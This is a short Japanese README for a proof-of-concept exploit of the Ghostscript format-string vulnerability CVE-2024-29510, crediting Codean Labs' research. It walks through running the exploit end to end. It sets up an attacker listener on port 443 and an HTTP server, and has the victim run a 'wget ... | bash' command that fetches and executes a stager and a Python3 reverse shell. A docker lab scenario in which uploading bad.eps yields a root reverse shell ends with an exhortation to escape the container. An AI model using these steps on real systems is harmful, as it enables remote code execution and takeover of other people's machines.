Original research and POC code: https://codeanlabs.com/blog/research/cve-2024-29510-ghostscript-format-string-exploitation/
注記: 実行したコマンド以外、POCには一切変更を加えていません。Codean LabsのThomas Rinsma氏による素晴らしい研究とPOCに、すべての功績は帰属します。
ローカルシナリオ
- ホストが脆弱かどうかを確認するチェックスクリプトをダウンロードして実行するステージャースクリプトにラップされている
- POC は Python3 リバースシェルをダウンロードして実行するように変更されている
- ステージャーとリバースシェルは STDIN 経由でダウンロードおよび実行される
- POC は /tmp にランダムな名前のアーティファクトを残す
攻撃者ホスト上:
- pwncat-cs または netcat を使用して、443 用のリスナーを作成する
- エクスプロイトディレクトリに移動する
- python3 -m http.server 80
被害者ホスト上 (Ubuntu 23.10、Ghostscript 10.01.2 実行中):
- ターミナルを開いて実行: export RHOST=''; wget -q http://$RHOST/run -O - | bash &
リモートシナリオ (VulnApp)
- 'docker build -t cve-2024-29510-demo:latest .' を使用して VulnApp をビルドする (Dockerfile ディレクトリに https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs10021/ghostscript-10.02.1.tar.gz のコピーが必要)
- 'docker run --rm -p 5000:5000 cve-2024-29510-demo:latest' を使用して VulnApp を実行する
- 機能をテストするために good.ps の変換を試す。矢印 (例: '>') を描く線が含まれるレンダリング済みPDFが返されるはずです。
- shell.html を配信するWebサーバーをポート80でセットアップする (例: 'python3 -m http.server 80')
- pwncat-cs または netcat を使用して、443 用のリスナーを作成する
- bad.eps をアップロードすると、VulnApp はハングし、リスナーはコンテナのリバースシェル (root として実行中) をキャッチするはずです。
- コンテナから脱出せよ!